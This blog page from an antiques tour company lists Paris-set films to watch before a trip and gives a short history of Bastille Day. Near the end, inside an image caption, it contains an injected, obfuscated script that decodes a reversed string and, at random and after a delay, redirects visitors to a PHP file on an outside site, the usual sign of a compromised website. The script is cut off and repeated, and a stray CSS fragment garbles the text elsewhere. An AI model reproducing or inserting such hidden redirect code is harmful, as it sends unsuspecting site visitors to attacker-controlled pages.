Tag: Bastille Day

Vive La France! 6 Movies Filmed in Paris to Watch Before Your Next Trip

Get A Dose of Paris Design Inspiration! 

July 14 the French celebrate la Fête Nationale or Quatorze Juillet, what we call Bastille Day, with military parades, fireworks, concerts, and balls. Nothing will help you get in the French spirit more than a movie filmed in Paris – except, of course, a trip to Paris with The Antiques Diva®! 

While lunching with Antiques Diva client Bruce Bailey at Chez Paul in Place Dauphine, Paris, Bruce told me that this restaurant was the setting for a recent movie (Me Before You), which led us to discuss films that will give you a dose of Paris design inspiration before a trip to Paris. Bruce recently spent 6 weeks in Paris with AD&CO Diva Guide Danielle Pelletier filming our TF1 Documentary (France’s most popular tv channel) that depicts how we work as Paris Flea Market Guides (The Antiques Diva is the Paris Flea Market Paul Bert Serpette’s only official tour guide). 

The Antiques Diva & Co filming our TF1 Documentary that depicts the process of how we work as Paris Flea Market Guide
Interior Designer Bruce Bailey and Diva Guide Danielle Pelletier filming Paris Flea Market documentary with TF1

Movies Bruce Recommends Before a Trip to Paris with AD&CO: 

1. Me Before You
A romantic comedy it seems, but maybe not. 

Chez Paul Paris - Me Before You
                                                                                                    Me Before You – Image: © Warner Bros and MGM

2. Rape of Europa
Documentary showing how Hitler planned the plundering of Europe.  

3. Woman in Gold
Based on a 1907 portrait of Adele Bloch-Bauer by Gustav Klimt. 

4. Francofonia
A history of the Louvre during the occupation. 

5. The Collection
A series set in a post-war Paris fashion house. 

6. Versailles
A series about palace life under Louis XIV. 

Feeling Design Inspired?
Book a Paris Design Inspiration Trip with The Antiques Diva 
Book A Tour with The Antiques Diva & Co

Other movies and TV shows that evoke Paris: 

Midnight in Paris
                                                                                                                       Midnight in Paris Image: © Sony Pictures 

French Design Inspiration Films: 

  • Gabrielle with Isobelle Huppert 
  • Paris with Juliet Binoche  
  • Summer Hours with Juliet Binoche 
  • Diving Bell and the Butterfly 
  • Bel Ami 
  • I Have Loved You for so Long 
  • Farewell, My Queen  
  • Molière (2007) 
  • A Little Chaos 
  • Gigi 
  • Amelie 
  • Prêt-À-Porter 
  • Marie Antoinette (Sofia Coppola) 
  • The Affair of the Necklace 
  • The Dressmaker with Kate Winslet – not French in aspects, but Dior inspired 
  • Laurent 
  • Dior and I 
  • The Eye Has to Travel 
  • Iris 

Toma Clark Haines in Paris“Paris is always a good idea!”
~ Audrey Hepburn

Toma Clark Haines, The Antiques Diva® 

Bastille Day

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Everyone knows that I love all things French! So in honor of the French holiday Bastille Day on July 14th, I wanted to give a little history behind this “French National Day!”

Bastille Day celebrates the beginning of the French Revolution when the Storming of the Bastille happened on July 14th, 1789 in Paris. The Bastille was a medieval fortress and prison located in Paris, and it was a symbol of the monarchy and their abuse of royal power over the masses. At that time, there were only seven prisoners in the Bastille but the people wanted access to the large quantities of arms and ammunition that were being stored there. Needless to say, they were successful at gaining access through force and thus began the revolution which would lead to a new government structure that would spread throughout France. The days of royal rule were numbered.

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One year later, on July 14th 1790, the Fête de la Fédération was held to commemorate the Storming of the Bastille. King Louis XVI took an oath to the constitution. After the end of the official celebration, the day ended in a huge four-day popular feast where the “sans-culotte”celebrated with fireworks, and balls all over the streets. The “sans-culottes”, were the poor people, the working class and the peasants, who were not wearing the “culotte”, a kind of knicker-bocker which was the mark of nobility. They were wearing large pants instead. A few years later, when everyone became a citizen, the “culotte” disappeared.

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One hundred years later in 1879, feasts were held to commemorate the Storming of the Bastille. In 1880 the Senate approved July 14th to be a yearly national holiday to celebrate the Revolution. Today, that celebration consists of a military parade on the Champs-Elysees, and in the air. It is actually the only day planes and helicopters are allowed to fly over Paris. The ceremony is followed by the president giving an interview to the press, talking about the situation of the country, recent events and projects for the future. At nightfall, fireworks light up the skies of Paris as well as all the cities and villages in the country, and everywhere in France you have balls in the streets and squares.

Eiffel Tower Fireworks, Antiques Diva, French his<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tory, Bastille Day, Bastille Prison, French Republic Guard on Horse, Eiffel Tower Fireworks, Toma Clark Haines” width=”550″ height=”550″ />

So there you have a little history on the day that the French Revolution began and the stirrings of democracy rumbled through Paris. For me, I think I will celebrate by opening a nice bottle of French wine!  Santé! Vive La France!

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The Antiques Diva®